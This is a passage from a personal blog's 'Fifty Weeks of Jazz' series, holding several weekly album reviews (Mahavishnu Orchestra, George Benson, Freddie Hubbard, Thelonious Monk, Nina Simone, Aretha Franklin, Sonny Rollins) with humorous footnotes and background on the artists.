circle. We've heard a wide range of jazz so far, but though <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-28/">Louis Armstrong</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-26/">big band</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">bebop</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-27/">cool jazz</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-31/">post-bop</a>, and another example of <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-23/">jazz fusion</a> all sound quite different, I can <em>feel</em> the common through line connecting them; though I can't formally define it, I can somehow hear that all of those are clearly and distinctly jazz. I don't get that feeling with <em>Birds of Fire</em>. That doesn't diminish my enjoyment of it in any way, but it makes it quite separate from our other entries.</p> <br> <p>But indulge me for a moment, if you will, in a non-musical coda: I learned (<a rel="external" href="https://en.wikipedia.org/wiki/Mahavishnu_Orchestra#1971%E2%80%931974:_First_incarnation">from Wikipedia</a>) that Mahavishnu Orchestra got their name from the spiritual leader <a rel="external" href="https://www.srichinmoy.org/">Sri Chinmoy</a>. This confused me, because Sri Chinmoy is a quirky but lovable meditation teacher who lives in my hometown; he has a new poster offering meditation classes every few weeks at the community centre with his name and face front-and-centre.</p> <p>…or so I thought; as it happens, the real Sri Chinmoy passed away in 2007. The posters I've seen are legit, but they're the handiwork of devotees of the late Chinmoy, trying to further evangelize his teachings. In hindsight, perhaps I ought to have puzzled that out myself—if one saw a poster emblazoned with Jesus giving a thumbs-up and the text "Come learn Jesus’ teachings!," one would not expect the <em>actual</em> Mr. H. Christ to be presiding—but in my defense, JC has better name recognition.</p> <p>I can understand why one might become a follower of Sri Chinmoy; indeed after learning of his many accomplishments, it's hard to doubt there must've been a charge of divinity about him. I won't get into his meditation practices, his writings (<a rel="external" href="https://www.srichinmoylibrary.com/allbooks">1804 books</a>), his songs ("<a rel="external" href="https://www.srichinmoysongs.com/">[he] composed over 23,000 songs</a>"), nor his art (<a rel="external" href="https://www.srichinmoy.org/sri_chinmoy/art/">hundreds of thousands of paintings, including "16,031 paintings in one 24-hour period" and over 15 million "Soul-Birds" in his life</a>)—rather, I want to highlight one of his many feats of <em>athleticism</em>. You see, Sri Chinmoy was a lifelong proponent of exercise; he considered it to be a devotional act towards God. Just how devoted was he? Well, "<a rel="external" href="https://srichinmoy-reflections.com/miracle-lift">on January 30, 1987, Sri Chinmoy lifted a weight of 7,063¾ pounds using only his right arm.</a>"<sup class="footnote-reference"><a href="#chinmoy-vs-deadlift">4</a></sup> One of his 23,000 songs was <a rel="external" href="https://srichinmoy-reflections.com/sites/default/files/contents/timeline/february/feb_14_1987_sri_chinmoy_seven-thousand-pounds_revised_song_score.jpg">a tune</a> to commemorate the occasion.</p> <p>But while Sri Chinmoy may have possibly slightly exaggerated some of his own feats, he inspired a group for whom no exaggeration is required: participants in the annual <a rel="external" href="https://en.wikipedia.org/wiki/Self-Transcendence_3100_Mile_Race">Self-Transcendence 3100 Mile Race</a> (founded by Sri Chinmoy, naturally—though he never participated in it himself) run <em>5,649</em> laps of one particular city block in Queens—a feat that took the record holder over 40 days to complete while running 18 hours a day. Self-Transcendence isn't the only thing on the line though: according to Wikipedia, "the prize is typically a T-shirt, a DVD, or a small trophy."<sup class="footnote-reference"><a href="#3100-mile-race-tshirt">5</a></sup> This whole endeavour is far better-documented than Sri Chinmoy's individual challenges: this piece goes to press just after the conclusion of the 2025 race, but I can attest to watching the event live via <a rel="external" href="https://3100.srichinmoyraces.org/">their webcams</a> earlier this week.</p> <br> <p>I suppose what I'm really getting at is: humans are funny creatures; there's really no telling what will get us going. I'm not especially religious myself, but credit where credit is due: the faithful have put out some <em>choice</em> works of art over the ages. Love for Christ begat <a rel="external" href="https://en.wikipedia.org/wiki/Sistine_Chapel#Frescoes">the frescoes of the Sistine Chapel</a>; love for Allah begat the <a rel="external" href="https://en.wikipedia.org/wiki/Kaaba">Kaaba</a>; and love for Sri Chinmoy's infinite, all-encompassing God begat <em>Birds of Fire</em>—a most worthy offering indeed.</p> <p><em>Favourite track:</em> Open Country Joy</p> <hr> <div class="footnote-definition" id="birds-of-fire-movie"><sup class="footnote-definition-label">1</sup> <p>And as such, it desperately deserves a movie treatment like <em><a rel="external" href="https://en.wikipedia.org/wiki/Interstella_5555:_The_5tory_of_the_5ecret_5tar_5ystem">Interstella 5555: The 5tory of the 5ecret 5tar 5ystem</a></em>.</p> </div> <div class="footnote-definition" id="jacl-jazz-definition"><sup class="footnote-definition-label">2</sup> <p>I think Seton would be hurt if I didn't also mention that he's equally quick to stress that this is only one <em>possible</em> definition of jazz—one that he thinks is useful, but far from the only valid definition.</p> </div> <div class="footnote-definition" id="blues-expression"><sup class="footnote-definition-label">3</sup> <p>Roughly: a willingness to "bend" notes beyond conventional major/minor scales.</p> </div> <div class="footnote-definition" id="chinmoy-vs-deadlift"><sup class="footnote-definition-label">4</sup> <p>At time of publication, that's over 6 times the <a rel="external" href="https://en.wikipedia.org/wiki/Progression_of_the_deadlift_world_record">deadlift world record</a>. Despite these lofty heights, Sri Chinmoy came from humble beginnings: 18 months before his miracle lift, he started with a 40-pound weight, as captured in this <a rel="external" href="https://srichinmoy-reflections.com/weightlifting-anniversary">epic montage</a>. O that my gains were similar.</p> </div> <div class="footnote-definition" id="3100-mile-race-tshirt"><sup class="footnote-definition-label">5</sup> <p>My humble suggestion: "I RAN 3,100 MILES IN 40 DAYS AND ALL I GOT WAS THIS LOUSY T-SHIRT."</p> </div> 2025-10-13T00:00:00+00:00 2025-10-13T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-38/ <p>We first heard George Benson as a fresh-faced youth; he was barely 23 years old when recording his second album, <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-16/">It's Uptown</a></em>. It would be another ten years before he hit pop-styled paydirt with <em><a rel="external" href="https://en.wikipedia.org/wiki/Breezin%27">Breezin’</a></em>, and this week's album—<em>Beyond the Blue Horizon</em>—was recorded smack-dab in the middle of that period. In the five years since <em>It's Uptown</em>, Benson kept himself busy: as if releasing six more albums of his own wasn't enough (including a cover of <a rel="external" href="https://en.wikipedia.org/wiki/The_Other_Side_of_Abbey_Road">Abbey Road</a>), he was also invited to record <a rel="external" href="https://en.wikipedia.org/wiki/Miles_in_the_Sky">a track</a> alongside members of Miles Davis's <a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis_Quintet#Second_Great_Quintet_(1964%E2%80%9368)">Second Great Quintet</a>. To my ear, that added experience translates to a greater confidence and more refined musical identity on <em>Beyond the Blue Horizon</em>. <em>It's Uptown</em> has some great stuff, but I think it's also fair to call it musical potpourri: Benson singing Gershwin and Benson laying down some slick riffs are both entertaining, but I've never felt either was complemented by the presence of the other. By contrast, <em>Beyond the Blue Horizon</em> is a much tighter package all-around: though the styles range widely from one track to another, the whole thing feels like one artistic vision in a way that <em>It's Uptown</em> never did to me.</p> <p>In fact, I see <em>Beyond the Blue Horizon</em> as building on my favourite parts of <em>It's Uptown</em>—the energetic, guitar-forward Benson compositions like "Clockwise" and "Bullfight:" in this album, Benson spins those impulses into longer, more nuanced tracks. <em>Beyond the Blue Horizon</em> opens with a cover of "So What" (my favourite track from <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-05/">Kind of Blue</a></em>) that injects some zest and funk while staying true to the original.<sup class="footnote-reference"><a href="#so-what-benson-cover">1</a></sup> "The Gentle Rain" is a bossa nova cover with a misleading title: some of the runs Benson hits here are more "torrential downpour" than "gentle rain;" in contrast, while "Ode to a Kudu" features equally virtuosic riffs, the overall treatment is gentler and slower; it's delicate and beautiful. "All Clear" is bright and cheery, but with an unusual texture in the left channel to add a little contrast. I can't quite place what it is exactly; perhaps that's the "electric cello" I see listed <a rel="external" href="https://en.wikipedia.org/wiki/Beyond_the_Blue_Horizon#Personnel">on Wikipedia</a>? Finally, "Somewhere in the East" is a far-ranging trek towards a vaguely Middle Eastern destination—don't miss the extended alternate take on this CD re-release where the band has the room to make it a proper epic.</p> <p>So: a fine album on the whole. However, to love this album is an exercise in heartbreak: if you fall for Benson's jazz guitar stylings here, you'll be sorely disappointed by the later pop and R&amp;B that made him a household name. I can't say it any better than <a rel="external" href="https://www.bbc.co.uk/music/reviews/3qvr/">this BBC review</a>:</p> <blockquote> <p>A reminder that though George's career switch may have made him considerably richer, it left the jazz world a bit poorer.</p> </blockquote> <p><em>Favourite track:</em> So What</p> <hr> <div class="footnote-definition" id="so-what-benson-cover"><sup class="footnote-definition-label">1</sup> <p>The Davis cover should come as no surprise: yes, Benson had his own crossover with Miles, but more importantly this album also features <a rel="external" href="https://en.wikipedia.org/wiki/Jack_DeJohnette">Jack DeJohnette</a> and <a rel="external" href="https://en.wikipedia.org/wiki/Ron_Carter">Ron Carter</a>, each of whom recorded extensively with Davis.</p> </div> 2025-10-06T00:00:00+00:00 2025-10-06T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-37/ <p>Confession time: much as I try to maintain an air of aloof sophistication in all things I do, I have a particular fondness for anything that can be remotely described as "prog." Prog rock is my particular go-to, but I'm not picky—I take to any sprawling, overwrought, quasi-intellectual composition like a feline to catnip. So when I saw this week's album was 36 minutes spread across only three tracks (the longest being over 17 minutes!) I was immediately intrigued. Could this be… progressive <em>jazz</em>?</p> <p>Listen to the first minute of the album and judge for yourself:</p> <p><audio controls src="straight_life_intro.mp3"></audio></p> <p>I <em>love</em> this intro. The first 45 seconds say "we're not afraid to get a bit weird with this one," but then the main theme kicks in to assure you this won't be self-indulgent experimentation for the sake of it; we're here to <em>groove</em>. Perhaps that's a fair description of Freddie Hubbard overall: though he played on some of the albums that defined free jazz,<sup class="footnote-reference"><a href="#free-jazz-definition">1</a></sup> he was never a true convert himself. He was a member of <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">The Jazz Messengers</a> (not <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-24/">the first</a> we've seen), and after the heyday of hard bop, he experimented with a variety of styles—the fusion/funk stylings of <em>Straight Life</em> come from the most critically successful period of his career. Embarrassingly, I had never even heard of Hubbard before—a notable oversight if you trust the <em>Los Angeles Times</em>, which described him as "widely regarded as the most gifted jazz trumpeter of the post-bebop ‘60s and ‘70s" in <a rel="external" href="https://www.latimes.com/local/obituaries/la-me-hubbard30-2008dec30-story.html">their obituary of him</a>.</p> <p>But as usual, I've gotten so caught up in the artist that I've neglected the music. As you already sampled above, "Straight Life" strides along with a self-assured energy throughout. The bulk of the aforementioned 17-minute exposition is a revolving door of solos: tenor saxophone, trumpet, electric piano, guitar, and drums each get their… well, not quite 15 minutes in the spotlight, but pretty close. It’s an embarrassment of riches—one which comes as no surprise once you check the lineup. The immediate standouts to me are <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-20/">Hancock</a> on the keys and <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-16/">Benson</a> on the six-string, both in top form here. (The internet tells me the rest of the ensemble are just as highly regarded; we simply hadn't had the pleasure of encountering them before this album.) "Mr. Clean" keeps roughly the same solo structure, but adds a double-helping of funk—this is something to which you could <em>strut</em> down the street. By contrast, "Here's That Rainy Day" is much slower and more contemplative; Hubbard takes centre stage on the melody, backed by a subdued accompaniment.</p> <p>So after all's said and done, is this truly <em>prog</em> jazz? Ivory-tower academics will blather on about atonality and dissonance; they'll gladly waste an evening contrasting <a rel="external" href="https://en.wikipedia.org/wiki/Third_stream">third stream</a> and <a rel="external" href="https://en.wikipedia.org/wiki/Jazz_fusion">jazz fusion</a>; but in doing so, they obscure the simple truth. Dispense with these frivolities and join me in embracing the dharma of prog:</p> <p>I like it, therefore it is prog.</p> <p>It is prog, therefore I like it.</p> <p><em>Favourite track:</em> Mr. Clean<sup class="footnote-reference"><a href="#mr-clean-marketing">2</a></sup></p> <hr> <div class="footnote-definition" id="free-jazz-definition"><sup class="footnote-definition-label">1</sup> <p><a rel="external" href="https://en.wikipedia.org/wiki/Free_jazz">Free jazz</a> is (roughly speaking) a subgenre of jazz focused on tearing down the strictures of typical jazz conventions and instead emphasizing "free improvisation." Sadly, I don't think we'll see any representative examples in these box sets.</p> </div> <div class="footnote-definition" id="mr-clean-marketing"><sup class="footnote-definition-label">2</sup> <p>The marketing material here just writes itself: a fully-animated <a rel="external" href="https://en.wikipedia.org/wiki/Mr._Clean">Mr. Clean</a> saunters around real-world Brooklyn for 13 minutes to this song, casually assisting community members in their tidying. Procter &amp; Gamble, I await your call; Don Draper's got nothing on me.</p> </div> 2025-09-29T00:00:00+00:00 2025-09-29T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-36/ <p>When it comes to how I listen to music, I'm decidedly unsentimental: keep your <a rel="external" href="https://www.whathifi.com/features/10-worlds-most-expensive-turntables">art piece turntable</a> and <a rel="external" href="https://nordost.com/odin-supreme-reference/odin2.php">$50,000 cables</a>, thanks—a pile of FLACs on my home media server is more than enough for me; have fun flipping your records every 20 minutes. But every so often an album comes along that makes me feel foolish for not owning it in full 12" glory. Monk's <em>Underground</em> is one such album. I mean, just look at it:<sup class="footnote-reference"><a href="#underground-album-cover">1</a></sup></p> <figure> <img src="/fifty-weeks-of-jazz/week-36/./underground_monk_cover_art.jpg" alt="The cover art for Monk's album _Underground_: Monk is seated at a piano, surrounded by Nazi items taken as war trophies, as well as general war paraphernalia. Behind him is a cow and a woman holding a gun." class="centre"> </figure> <p>The album notes helpfully clarify that naturally these war trophies were captured by Monk in WWII, as part of his service with the French Resistance, and add: "Oh yes, about the girl with the firearm in the background. No explanation was asked, nor was one forthcoming."<sup class="footnote-reference"><a href="#underground-album-notes">2</a></sup></p> <p>That's all bollocks of course; Monk never fought for the French. The girl, however, <em>did</em>: that's none other than <a rel="external" href="https://en.wikipedia.org/wiki/Pannonica_de_Koenigswarter">Baroness Pannonica de Koenigswarter</a>. Born a Rothschild (yes, those ones), she fought with the Free French Army during WWII. After the war, she ended up moving to New York, where she developed an infatuation with jazz. She was extremely close with all the leading musicians and always ready to offer a ride, quash a vexing bill, or—in at least one extreme case—take the rap for a drug bust and serve a few nights in jail. In fact, you might recognize her if you watched <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Clint Eastwood's Charlie Parker movie</a> with me a while back—she was the one to offer Parker succor (at her apartment) in his final hours. So it went with Monk as well: after he stopped performing in the mid-seventies, he spent the last six years of his life living in her New Jersey home.</p> <p>But I suppose I ought to be judging the album itself, not its cover. We first heard Monk on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-11/">Monk's Dream</a></em>—interestingly, that was the first album his quartet released with Columbia; <em>Underground</em> was the last. I ended that earlier review with a hope: "maybe by the end of this project I'll be able to better appreciate Monk's genius in its own right." Well, 25 weeks later I still have yet to crack that puzzle. Fundamentally, Monk leaves me a bit cold: it's pleasant enough to listen to, and I like the back and forth between Monk on piano and <a rel="external" href="https://en.wikipedia.org/wiki/Charlie_Rouse">Charlie Rouse</a> on tenor sax, but I never feel swept up in emotion the way I do with, say, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-19/">Erroll Garner</a>. Surprisingly, the real standout for me on this album was the bass (played by <a rel="external" href="https://en.wikipedia.org/wiki/Larry_Gales">Larry Gales</a>): in both "Raise Four" and "Easy Street," it produces a low, grinding groan quite unlike most other albums—evoking not a particular instrument so much as the shifting of a massive sailing ship amidst the churning sea.<sup class="footnote-reference"><a href="#gales-bass-technique">3</a></sup> But the overall winner for me is "In Walked Bud," hands-down. I happened to hear a completely different version of it featuring a female vocalist a few weeks ago on <a rel="external" href="https://jazz.fm/">JAZZ.FM</a>; I had no idea then that it was a Monk composition, but there was something about the off-kilter, self-referential chorus that was immediately beguiling. This particular recording—one of many Monk made throughout his career—creates that same magic, and is (mercifully) the full 6:48 version on this CD release (rather than the reduced 4:17 version on the original LP).</p> <p>So: I leave this week with more questions than I started with. Who was this man—both flamboyant stage dancer and taciturn eccentric—and what does his music mean for us? I still don't have answers, but I have perhaps a touch more perspective: call it cope, but these jazz mysteries are just like the rest of life—the journey is more important than the destination. I'm happy to keep exploring; if fifty weeks becomes fifty years, so be it.</p> <p><em>Favourite track:</em> In Walked Bud</p> <hr> <div class="footnote-definition" id="underground-album-cover"><sup class="footnote-definition-label">1</sup> <p>For a quick behind-the-scenes perspective on the cover's photo shoot, see <a rel="external" href="https://www.tumblr.com/mosaicrecords/145447122464/thelonious-monks-underground-the-story-behind">this article</a>. Citing an otherwise unverified Tumblr post is sloppy even by my standards, but it's signed "Michael Cuscuna," whose <a rel="external" href="https://www.nytimes.com/2024/04/25/arts/music/michael-cuscuna-dead.html">NYT obituary</a> leads me to believe he cared about getting these details right. And it's not like someone would just go on the internet and <em>lie</em>.</p> </div> <div class="footnote-definition" id="underground-album-notes"><sup class="footnote-definition-label">2</sup> <p>The full album notes are comedic gold, by the way; they get a full endorsement from the Simpsonian. I don't know where Gil McKean is these days, but I suspect we'd get along quite nicely.</p> </div> <div class="footnote-definition" id="gales-bass-technique"><sup class="footnote-definition-label">3</sup> <p>…it's only now after writing that description that I'm realizing Gales is presumably just playing with a bow (arco) during those sections, not plucking (pizzicato). Fully deserving of a facepalm on my part, but it also goes to show just how much more prevalent pizzicato is in jazz.</p> </div> 2025-09-26T00:00:00+00:00 2025-09-26T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-35/ <p><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-34/">Last week</a>, I declared that in terms of pure vocal prowess, Aretha Franklin surpasses any other female singer we've heard thus far. I stand by that statement, but this week allow me to add an equally important rejoinder: Nina Simone's work is still more important.</p> <p>Fundamentally, it feels to me like Franklin is trying to produce <em>hits</em>, whereas Simone is trying to make <em>art</em>.<sup class="footnote-reference"><a href="#simone-franklin-disclaimer">1</a></sup> Sure, <em>Silk &amp; Soul</em> features covers of some popular songs, like "Cherish" and "The Look of Love",<sup class="footnote-reference"><a href="#casino-royale">2</a></sup> but it also includes tracks like "Turning Point", and "Consummation". I can't imagine the latter two were ever conceived as commercial successes, but I find them moving in a way that the pop tunes aren't: "Turning Point" is an emotional gut-punch, and "Consummation" is a slow burn that weaves its threads into a fantastic climax. I'm more than willing to concede that Franklin could outperform on straight bops like "It Be's That Way Sometime", but I'd sooner listen to a niche work of Simone's than a radio hit from Franklin.</p> <p>Those differences are also reflected in the two artists’ approaches to activism. As discussed <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-34/">last week</a>, some of Franklin's megahits (most notably "Respect" and "(You Make Me Feel Like) A Natural Woman") dovetailed nicely with rising social movements—but if they were inspiring, they were also inoffensive; nobody was up in arms over "taking care of TCB".<sup class="footnote-reference"><a href="#taking-care-of-tcb">3</a></sup> In contrast, Simone intentionally torched her career in the southern states with her release of the rather unsubtle "<a rel="external" href="https://www.youtube.com/watch?v=LJ25-U3jNWM">Mississippi Goddam</a>"—an unrestrained protest song written in response to a spate of racially-motivated murders in Mississippi. Whether one ought to pursue incremental change or total revolution is a fraught debate, but with the benefit of hindsight in this particular example, I can't imagine favouring Franklin over Simone.</p> <p>Alas, all too often visionary artists must content themselves with much more modest commercial success than their peers. So it went with this "rivalry":<sup class="footnote-reference"><a href="#simone-franklin-rivalry">4</a></sup> for "Go to Hell" (from this album), Simone was nominated for the first-ever Grammy award for "Best Female R&amp;B Performance". She lost to none other than Franklin, who won with… "Respect". Franklin subsequently went on to win the award for the next six years in a row. Sorry, Simone—if it's any consolation, you've got my vote.</p> <p><em>Favourite track:</em> Turning Point</p> <hr> <div class="footnote-definition" id="simone-franklin-disclaimer"><sup class="footnote-definition-label">1</sup> <p>I recognize that to make such a sweeping judgement based on a total of three albums (we first heard Simone on <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-17/">her blues album</a>) requires a hasty arrogance and disdain for sufficiently large sample sizes, but one makes do with what one has available, and in this particular instance, it is my job to make takes. If an intrepid reader is prepared to cite controverting discography entries, I am very willing to eat crow.</p> </div> <div class="footnote-definition" id="casino-royale"><sup class="footnote-definition-label">2</sup> <p>"The Look of Love" is from the Bond movie <em>Casino Royale</em>. No, no, not <em>that</em> <em><a rel="external" href="https://en.wikipedia.org/wiki/Casino_Royale_(2006_film)">Casino Royale</a></em>; the <a rel="external" href="https://en.wikipedia.org/wiki/Casino_Royale_(1967_film)">1967 version</a> that was first intended as an earnest entry into the 007 canon, but had to rebrand as a parody after failing to secure the rights. The resulting film was described by Roger Ebert as "possibly the most indulgent film ever made." I will watch it as soon as humanly possible.</p> </div> <div class="footnote-definition" id="taking-care-of-tcb"><sup class="footnote-definition-label">3</sup> <p>"TCB" stands for "taking care of business", and yes, those are the actual lyrics to "Respect".</p> </div> <div class="footnote-definition" id="simone-franklin-rivalry"><sup class="footnote-definition-label">4</sup> <p>My hypothetical framing; I haven't seen anything that suggests the two viewed each other in an especially competitive manner.</p> </div> 2025-09-01T00:00:00+00:00 2025-09-01T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-34/ <p>I won't fault you for forgetting, but the early weeks of this project were graced with many a diva strutting by—namely <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-02/">Sarah Vaughan</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-04/">Billie Holiday</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-08/">Helen Merrill</a>, and <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-17/">Nina Simone</a>. All incredibly talented musicians in their own right, but that particular assemblage of artists made for a musical <a rel="external" href="https://en.wikipedia.org/wiki/Illusory_contour">Kanizsa triangle</a>: amongst all those mid-century, jazz-adjacent vocalists, where's Aretha? Have no fear—the Queen of Soul herself is (finally) here.</p> <p><em>The Electrifying Aretha Franklin</em> comes from early in her career; it's only her sophomore album. Aretha's talent was recognized early—she inked this record deal with Columbia at age 18—but she didn't achieve breakout success until she left Columbia for Atlantic (roughly five years after this album). So: no chart-toppers to be found here ("Respect" was a few years out yet), but rather a smorgasbord of jazz standards, Tin Pan Alley hits, and gospel/R&amp;B compositions. (If that leads you to question Franklin's place as a <em>jazz</em> singer, see <a rel="external" href="https://www.wbgo.org/music/2018-08-17/all-the-things-you-are-arethas-life-in-jazz">this piece</a> from <a rel="external" href="https://www.wbgo.org/">WBGO</a> that investigates those bona fides and reaches an approving conclusion.)</p> <p>Despite this not being Franklin's most popular work, I find this album to be consistently very good, and occasionally great. Of course, the main appeal is Franklin's vocals, and those don't disappoint: I must confess that in isolation, I'd pick her over any of the other female singers we've heard. I love the range we hear from her on this album; on the upbeat side, I'm partial to both "I Surrender, Dear" (a fun take on the "playful love song" trope), as well as "Ac-Cent-Tchu-Ate the Positive" (which syncopates <a rel="external" href="https://en.wikipedia.org/wiki/Ac-Cent-Tchu-Ate_the_Positive#Background">a preacher's sermon</a> to great effect, and features perhaps the jazziest solo of the album on trumpet). By contrast, "That Lucky Old Sun" is on the other end of the emotional spectrum, and it's my favourite of the lot: Franklin starts with a simple, beautiful phrase, but in three-and-a-half minutes she moves through pain, defiance, and anger before arriving at a kind of cathartic acceptance—nearly the full <a rel="external" href="https://en.wikipedia.org/wiki/Five_stages_of_grief">stages of grief</a> in a single track.</p> <p>All together, a solid album—and yet, I have one bone to pick with Franklin. Today, Franklin seems to be venerated as a minor saint of feminism, mostly on the basis of "Respect" (so far as I can discern). <a rel="external" href="https://www.cnn.com/2018/08/16/entertainment/aretha-franklin-respect-feminism-civil-rights-trnd">This CNN piece</a> is a good example: the title (indirectly) links her to both the civil rights movement and feminism, only to walk back those associations in the first couple of lines. Mind you, I don't mean to deny or minimize the tremendous impact that "Respect" had on millions of listeners, but it did throw me for a loop to have that mental image of Franklin, then hear her sing this on "Rough Lover":</p> <blockquote> <p>He’s gotta be sweet and gentle</p> <p>Day and night</p> <p><b>But mean enough to make me</b></p> <p><b>Want to treat him right</b></p> <p>I want a man, oh, yeah</p> </blockquote> <p>Yes, cherry-picking one track from a largely-forgotten album is unlikely to give a representative view of Franklin's true views on the emancipation of women writ large. But still, it suggests a pretty funny parallel universe:</p> <blockquote> <p>R-E-S-P-E-C-T</p> <p>But also sometimes please <a rel="external" href="https://en.wikipedia.org/wiki/Negging">neg</a> me!</p> <p>R-E-S-P-E-C-T</p> <p>Gimme toxic masculinity!</p> </blockquote> <p><em>Favourite track:</em> That Lucky Old Sun</p> <hr> 2025-08-24T00:00:00+00:00 2025-08-24T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-33/ <p>Always read the album notes, kids. The cover of <em>The Bridge</em> features a rather impassive Sonny Rollins waging a silent war against a gravitational force that seems to affect only human hair. But the <em>back</em> of the album elucidates the literal and metaphorical allusions the title intends to evoke—and that is a jazz heritage minute worth expounding upon.</p> <p>Background: Rollins graduates high school in 1948, and within about five years he had spent ten months in Rikers while still managing to record with <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-29/">Miles Davis</a>, <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-25/">Charlie Parker</a>, and <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-11/">Thelonious Monk</a>. In 1957, he releases <em>Saxophone Colossus</em>—which is immediately hailed as a massive critical success—popularizes a new, piano-less instrumentation for jazz, and makes his Carnegie Hall debut.<sup class="footnote-reference"><a href="#rollins-biography">1</a></sup></p> <p>So what does 1959 hold for the ever-ambitious Rollins? Naught but those two bitter mints: disillusionment and disappointment. In his own words from <a rel="external" href="https://www.newyorker.com/magazine/1961/11/18/sabbatical-2">a later <em>New Yorker</em> interview</a>:</p> <blockquote> <p>People are not doing things as well as they can do them any more. The par of products is not high enough, and in 1959 I felt that way about my playing. The extraneous things had gotten in the way of it. I didn’t have time to practice, and I wanted to study more. I was playing before more and more people, and not being able to do my best. There was no doubt that I had to leave the scene, and it was just a matter of when I could bring it about. I’d lost the ability to play what I wanted to play every night without the interference of emotionalism. I was filled with question marks.</p> </blockquote> <p>A heady self-assessment indeed from one of the most influential saxophonists in jazz at the time; and one not yet 30 years old, at that. At first, Rollins honed his craft in the solitude of his apartment, but after recognizing that neighbours have only limited patience for experimental saxophone (even of the world-class variety) Rollins decamped. In what one presumes was a moment of electric clarity, Rollins realized that the <a rel="external" href="https://en.wikipedia.org/wiki/Williamsburg_Bridge">Williamsburg Bridge</a> (which connects Manhattan and Brooklyn) was all the studio he needed. There he spent the better part of two years hiding in plain sight while practicing up to 16 hours a day.</p> <blockquote> <p>I started walking over the bridge, and I found it’s a superb place to practice. Night or day. You’re up over the whole world. You can look down on the whole scene. There is the skyline, the water, the harbor. It’s a beautiful scene, a panoramic scene. The bridge offers certain advantages that can’t be duplicated indoors. You can blow as loud as you want. It makes you think. The grandeur gives you perspective. And people never bother you. I saw the same people almost every day. Sometimes they stopped and listened, sometimes they just went by.</p> </blockquote> <p>There's the story of <em>The Bridge</em>, but what of the music itself? Well, it's interesting: remember, the whole point of this two-year hiatus—at the height of Rollins's rising popularity!—was for him to catch up to peers like Miles Davis and <a rel="external" href="https://en.wikipedia.org/wiki/Ornette_Coleman">Ornette Coleman</a>, who were laying the groundwork of what jazz could look like beyond hard bop. Under those circumstances, one might expect Rollins's return to mark a stark departure from his earlier work, but that's not really the case: <em>The Bridge</em> plays it straight, keeping a tight focus on a small ensemble. Rollins's signature rhythmic experimentations are very much present, but the end result is far from avant-garde. I found that surprising; we first heard Rollins on <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-12/">Sonny Meets Hawk!</a></em> (released a year after <em>The Bridge</em>), and <em>that</em> album pushes the boundaries of what one can tunefully do with a saxophone—I was expecting to hear some of that on <em>The Bridge</em> as well. When it comes to specific tracks, my favourite ones this week were the fastest (as any semi-frequent reader might have guessed): "John S." and "The Bridge." The end of the former features stellar interplay between sax, guitar, and drums, while in the latter the bass always grabs my attention with non-stop runs up and down throughout.</p> <p>Of course, Rollins isn't the only musician playing on <em>The Bridge</em>. Just like <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-32/">last week</a>, one of the most striking features of the album is the supremely sublime electric guitar. And also just like last week, the particular guitarist responsible is <a rel="external" href="https://en.wikipedia.org/wiki/Jim_Hall_(musician)">Jim Hall</a>—and wait a minute, he was <em>also</em> the guitarist on "<a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-30/">The Train and the River</a>‽" Alright, Jim: you are well on your way towards earning the illustrious "Fifty Weeks of Jazz – Most Influential Sideman" award.<sup class="footnote-reference"><a href="#jim-hall-award">2</a></sup></p> <p>So: <em>The Bridge</em> represents not only the literal setting of Rollins's first dramatic self-isolation<sup class="footnote-reference"><a href="#rollins-second-sabbatical">3</a></sup>, it is also the metaphorical bridge between two formative periods of this pioneering saxophonist's career.<sup class="footnote-reference"><a href="#the-bridge-metaphor">4</a></sup> Given Rollins's close association with the Williamsburg bridge and his ensuing cultural influence, some people have called for making that near-metonym official by renaming the bridge after Sonny (who is still alive today—he'll be 95 in two weeks' time!). You can find out more about that initiative on <a rel="external" href="https://sonnyrollinsbridge.net/">their website</a>.</p> <p><em>Favourite track:</em> The Bridge</p> <hr> <div class="footnote-definition" id="rollins-biography"><sup class="footnote-definition-label">1</sup> <p>My exclusive source throughout this paragraph is <a rel="external" href="https://en.wikipedia.org/wiki/Sonny_Rollins#Later_life_and_career">good ol‘ Wikipedia</a>.</p> </div> <div class="footnote-definition" id="jim-hall-award"><sup class="footnote-definition-label">2</sup> <p>Posthumously, I'm afraid; Hall passed away in 2013. Of course he had a full and highly-awarded career as a leading musician as well.</p> </div> <div class="footnote-definition" id="rollins-second-sabbatical"><sup class="footnote-definition-label">3</sup> <p>Oh yes, there was <a rel="external" href="https://en.wikipedia.org/wiki/Sonny_Rollins#1969%E2%80%931971:_Second_sabbatical">another sabbatical</a> later.</p> </div> <div class="footnote-definition" 